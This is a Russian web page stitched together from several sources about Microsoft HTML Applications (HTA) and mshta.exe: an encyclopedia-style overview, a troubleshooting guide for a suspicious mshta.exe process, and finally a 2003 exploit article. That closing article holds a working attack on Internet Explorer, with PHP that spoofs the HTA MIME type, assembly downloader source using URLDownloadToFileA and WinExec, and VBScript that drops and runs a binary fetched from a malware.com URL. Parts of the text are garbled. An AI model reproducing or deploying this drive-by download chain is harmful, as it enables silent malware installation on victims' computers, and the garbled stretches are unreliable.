microsoft r html приложение что это
HTML Application (HTA) — приложение Microsoft Windows, являющееся документом HTML, отображаемым в отдельном окне без элементов интерфейса обозревателя таких как строка меню, строка адреса, панель инструментов («безбраузерное приложение») с помощью движка Microsoft Internet Explorer. На HTA не распространяются большинство ограничений безопасности Internet Explorer, в частности на использование небезопасных элементов ActiveX. Например, HTA может создавать, изменять, удалять файлы и записи системного реестра Windows. Возможность создания HTA появилась с выпуском Microsoft Internet Explorer 5.0.
Так как HTA поддерживают исполнение сценариев, они могут являться носителем вредоносного кода.
Содержание
Запуск HTA [ править | править код ]
Для запуска HTA предназначена программа mshta.exe , в свою очередь использующая недокументированную функцию RunHTMLApplication из библиотеки mshtml.dll [2] . Так как обычно в системных настройках mshta.exe сопоставлена расширению .hta, то для того, чтобы файл с документом HTML открывался как HTA, достаточно сохранить его с этим расширением.
Настройка поведения и внешнего вида окна HTA [ править | править код ]
Для настройки поведения и внешнего вида окна HTA введён нестандартный элемент разметки HTA:APPLICATION , который может быть расположен в разделе HEAD документа. Также для фреймов в HTA введён атрибут APPLICATION для задания того, распространяются ли на документ загруженный во фрейм права HTA или (по умолчанию) настройки безопасности Internet Explorer.
Атрибуты элемента HTA:APPLICATION и свойства связанного с ним объекта DOM [ править | править код ]
| applicationName | идентификатор исполнения HTA-документа | /*name*/ |
|---|---|---|
| border | вид обрамления окна | thin, dialog, none, thick |
| borderStyle | стиль обрамления окна | complex, normal, raised, static, sunken |
| caption | наличие заголовка окна | yes/no |
| commandLine | командная строка, с которой было запущено приложение: путь к приложению и его аргументы (только свойство) | |
| icon | значок окна, в формате ICO (32×32) | /*path*/ |
| maximizeButton | наличие кнопки «восстановить» | yes/no |
| minimizeButton | наличие кнопки «свернуть» | yes/no |
| showInTaskbar | отображение документа в панели задач Windows | yes/no |
| windowState | исходный размер окна | normal, minimize, и maximize |
| innerBorder | внутренняя граница окна | yes/no |
| navigable | определяет открытие ссылки в новом окне или родительском | yes/no |
| scroll | наличие полосы прокрутки | yes/no |
| scrollFlat | 3D-вид полосы прокрутки | yes/no |
| singleInstance | невозможность открытия других окон с тем же значением applicationName | yes/no |
| sysMenu | наличие системного меню и кнопок управления окном в заголовке окна | yes/no |
| contextMenu | контекстное меню, вызываемое правой кнопкой мыши | yes/no |
| selection | разрешение выделения текста в HTA-окне | yes/no |
| version | версия HTA | /*version*/ |
Примеры HTA [ править | править код ]
Простой статичный пример HTA [ править | править код ]
Приложение отображает статичное содержимое с установленными графическими атрибутами окна.
Классический пример «Hello world!» [ править | править код ]
Пример классической программы, выводящей приветствие при нажатии на кнопку.
Пример взаимодействия с ОС Windows [ править | править код ]
Приложение отображает название и версию операционной системы.
mshta.exe Microsoft(R) HTML приложение это исполняемый файл в Windows, разработанный корпорацией Microsoft и поставляемый с операционной системой. Этот элемент является объектом запуска Microsoft HTML Application — программы, которая отвечает за работу приложений на основе HTML (.hta-файлов) и запускает скрипты в Windows.
Находиться по умолчанию C:WindowsSystem32. Size from 12,800 to 47,104 byte.
mshta.exe Microsoft(R) HTML приложение
Вы можете увидеть процесс в «Диспетчере задач» только в тех приложениях, которые используют хост Microsoft Application Application Server и используют 25% ваших ресурсов.
Но если этот процесс всегда находится или находится не в «system32», в большинстве случаев это может быть вредоносное ПО, которое скрывается в процессе Windows
mshta.exe Microsoft(R) HTML приложение (32 бита)

Работая с «Диспетчером задач», иногда можно заметить незнакомый большинству пользователей процесс, который называется mshta.exe. Сегодня мы постараемся подробно о нем рассказать, осветим его роль в системе и предоставим варианты решения возможных проблем.
Информация об mshta.exe
Процесс mshta.exe представляет собой системный компонент Windows, запущенный одноименным исполняемым файлом. Такой процесс можно встретить на всех версиях ОС от Microsoft, начиная с Виндовс 98, причём только в случае работающего в фоне HTML-приложения в формате HTA.

Функции
Название исполняемого файла процесса расшифровывается как «Microsoft HTML Application Host», что означает «Среда запуска HTML-приложений Microsoft». Этот процесс отвечает за запуск приложений или скриптов в формате HTA, которые написаны на HTML, и в качестве движка используют машину Internet Explorer. Процесс появляется в списке активных только при наличии работающего HTA-скрипта, и должен закрываться автоматически при прекращении работы указанного приложения.
Расположение
Местоположение исполняемого файла mshta.exe легче всего обнаружить с помощью «Диспетчера задач».
-
В открытом окне системного менеджера процессов щёлкните правой кнопкой мыши по элементу с именем «mshta.exe» и выберите пункт контекстного меню «Открыть место хранения файла».


Завершение процесса
Среда запуска HTML-приложений Microsoft не является критичной для работы системы, потому запущенный процесс mshta.exe можно завершить. Обратите внимание, что вместе с ним будут остановлены и все запущенные HTA-скрипты.
-
Щёлкните по наименованию процесса в «Диспетчере задач» и нажмите «Завершить процесс» внизу окна утилиты.


Устранение угроз
Сам по себе файл mshta.exe редко становится жертвой вредоносного ПО, но вот запускаемые этим компонентом HTA-скрипты могут таить в себе угрозу для системы. Признаки наличия проблемы следующие:
- Запуск при старте системы;
- Постоянная активность;
- Повышенное потребление ресурсов.
Если вы столкнулись с описанными выше критериями, у вас есть несколько вариантов решения проблемы.
Способ 1: Проверка системы антивирусом
Первое, что нужно сделать, столкнувшись с непонятной активностью mshta.exe – провести сканирование системы защитным ПО. Утилита Dr.Web CureIt доказала свою эффективность при решении подобных проблем, так что можете использовать её.

Способ 2: Сброс настроек браузера
Вредоносные HTA-скрипты в новейших версиях Windows так или иначе связаны со сторонними браузерами. Избавиться от таких скриптов можно сбросом настроек веб-обозревателя.

В качестве дополнительной меры проверьте, нет ли в ярлыке вашего браузера рекламных ссылок. Проделайте следующее:
-
Найдите на «Рабочем столе» ярлык с используемым браузером, щёлкните по нему правой кнопкой мыши и выберите пункт «Свойства».


Проблема должна быть устранена. В случае если описанных выше шагов оказалось недостаточно, используйте руководства из материала ниже.
HTA – Исполняемый HTML-документ (HTML Application)
Популярность: 
Разработчик: Microsoft
Расширение HTA – это исполняемый файл, который содержит HTML, динамический HTML и так же может содержать скрипты, которые поддерживаются Microsoft Internet Explorer, например, VBScript или JScript. Приложения HTA впервые появились в Internet Explorer, начиная с версии 5. Большая функциональность HTA файлов сейчас может быть заменена скриптами JavaScript, которые более безопасные, чем .HTA. Файлы .HTA можно просто создать переименованием файлов .HTM на .HTA. .HTA приложение не выполняется в браузере, оно ничем не отличается от стандартных Windows-приложений. Для его выполнения, файл .HTA необходимо скачать на локальный компьютер и дважды на него нажать. .HTA выполняются Microsoft HTML Application Host (Mshta.exe).
Для настройки HTA документа добавлен новый тег <hta:application …> , который располагается в секции <head> … </head>.
ПРИМЕЧАНИЕ: Будьте осторожны .HTA файлы могут быть инфицированы зловредным кодом, вирусами или троянами.
Проникновение через HTA
Данная статья посвящена уязвимости в Internet
Explorer от корпорации Microsoft. Ее нахождению мы
обязаны компании eEye, которая известна
такими продуктами как Retina (сетевой сканер
безопасности), Iris (пожалуй один из лучших
сниферов), а также другими, не мение
качественными проектами. Дата публикации
уязвимости 20 августа 2003 года.
Данная уязвимость связана с использованием
тэга OBJECT, который используется для
внедрения ActiveX объектов в HTML код web-страницы.
IE не проверяет содержимое загружаемого
объекта и автоматически помечает его как ‘safe’.
Правда определенная проверка все таки
осуществляется, это проверка на расширение
загружаемого объекта. Так, например, если
загружается ‘.exe’, ‘.pif’, ‘.bat’, ‘.com’, ‘.cmd’ и тому
подобные, Internet Explorer определит их как
небезопасные. В тоже время такие файлы как ‘.html’
считаются безопасными.
Если вникнуть в сам процесс обработки ActiveX
объектов броузером, то становится ясным,
что они сперва загружаются на локальный
компьютер после чего исполняются. Это
значит, что если объект получил статус ‘безопасный’,
то он исполняется в зоне ‘Мой копьютер’.
Поскольку исполнимые бинарные файлы не
могут его получить, следует искать выход в
использовании других технологий.
Решением в данном случае стало
использование HTML Application. HTA — HTML приложение,
имеющее ряд преимуществ. Так, например, если
вы попытаетесь обратится к диску из HTML
файла, вы получите предупреждение,
независимо от зоны полученной документом. В
тоже время попытка сделать тоже самое в HTA
не выдаст такого предупреждения.

Интересным моментом является то, что HTML
Application может иметь расширение как ‘.hta’ так и
‘.html’. Это значит, что обращение через тэг OBJECT
к HTML файлу вполне может оказаться
обращением к HTA приложению.
Поскольку объект загружается на компьютер,
то в случае его исполнения он получает зону
‘Мой копьютер’. Но тут возникает одна
проблема. Internet Explorer определяет файл ‘.html’ как
HTML файл, что дает объекту статус ‘безопасный’,
но и не позволяет ему просто так
использовать работу с диском и другие
возможности. Решением данной проблемы,
является подмена MIME типа объекта. Тип
загружаемого файла определяется по его MIME.
Для HTML файла это ‘text/html’, для ‘.exe’ приложения —
‘application/x-msdownload’ и т.д. Если сообщить броузеру,
что загружаемый файл HTA приложение, то
появляется возможность использования
функций HTA без каких-либо ограничений.
Подмену MIME легко осуществить с помощью CGI
приложений.
Таким образом мы сообщаем, что загружаемый
файл — HTA приложение, на это указывает его MIME
тип ‘application/hta’. Если обратится к такому CGI
скрипту через тэг OBJECT, мы получим
возможность использования функций HTA. А
дальше уже все зависит от вашей фантазии.
В качестве эксплоита я продемонстрирую
написанный мной 2DimensionOfExploits.
Он загружает произвольный файл на
пользовательскую систему, обходя все
ограничения зоны ‘Internet’.
Эксплоит состоит из 3-х частей:
-
2DimensionOfExploits.html
HTML файл, содержащий тэг OBJECT. Именно на
него следует направить атакуемого
пользователя.
Рассмотрим их по порядку, начиная с
2DimensionOfExploits.html. Этот файл должен содержать
тэг OBJECT, который ссылается на объект
2DimensionOfExploits.php.
Задачей 2DimensionOfExploits.php является установка MIME
типа обьекта в ‘application/hta’ и загрузка
2DimensionOfExploits.hta.
$szFile="2DimensionOfExploitsEnc.hta";
$hFile=fopen($szFile, "r");
$szHTML=fread($hFile,filesize($szFile));
fclose($hFile);
echo($szHTML);
Теперь собственно о 2DimensionOfExploitsEnc.hta. Данный
файл в моем эксплоите должен создать файл ‘C:\X.EXE’,
который загрузит с Интернета произвольный
файл. Программу загрузки я написал на языке
Assembler, чтобы свести ее объем к минимальному.
Пожалуй я не буду объяснять в деталях как
она работает, а просто приведу исходник.
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
szLibrary db "urlmon.dll",0
szFunction db "URLDownloadToFileA",0
szFileName db "c:\y.exe", 0
add ax, 0Ah
lea ecx, [eax]
push ecx
invoke LoadLibrary, addr szLibrary
invoke GetProcAddress, eax, addr szFunction
pop ecx
push 0
push 0
lea ebx, [szFileName]
push ebx
push ecx
push 0
call eax
invoke WinExec, addr szFileName, 1
invoke ExitProcess, NULL
Для тех, кто не знаком с ASM, скажу, что
программа подключает функцию URLDownloadToFileA из
urlmon.dll и с ее помощью загружает файл,
указанный ей в качестве параметра (в данном
случае это fooware.exe). Загруженный файл,
сохраняется под именем ‘C:\Y.EXE’, после чего
запускается.
<script language=vbs>
szURL = "http://www.malware.com/fooware.exe"// для
примера загружается заставка
</script>
Вернемся к 2DimensionOfExploitsEnc.hta. Он должен
создать на компьютере файл и благополучно
запустить его. Для создания файла можно
воспользоваться методом CreateTextFile(), входящим
в обьект FileSystemObject, с последующей записью в
него. Откомпилировав программу загрузки,
запишем ее в шестнадцатеричном формате в
переменную szBinary.
szBinary = ""
szBinary = szBinary & "4D5A90000 . 00000000"
szBinary = szBinary & "000000000 . 616E6E6F"
szBinary = szBinary & "742062652 . 19E66F21"
.
szBinary = szBinary & "000000000 . 00000000"
Set hFSO = CreateObject("Scripting.FileSystemObject")
Set hFile = hFSO.CreateTextFile(szApplication, ForWriting)
Используя некоторые хитрости, эти 16-ричные
данные конвертируются в бинарные, после
чего записываются в файл.
intLength = len(szBinary)
intPosition = 1
while intPosition < intLength
char = Int("&H" & Mid(szBinary, intPosition, 2))
hFile.Write(Chr(char))
intPosition = intPosition+2
wend
На данном этапе все подготовительные
действия окончены, единственное что
остается — запустить программу загрузки
файла с Интернета.
Set hShell=CreateObject("WScript.Shell")
hShell.run(szApplication+" "+szURL)
В заключение, хочу сказать, что вся
предоставленная информация должна
использоваться исключительно в научных
целях. Все другие способы ее использования
запрещены законодательством. Но выбор уже
сделан.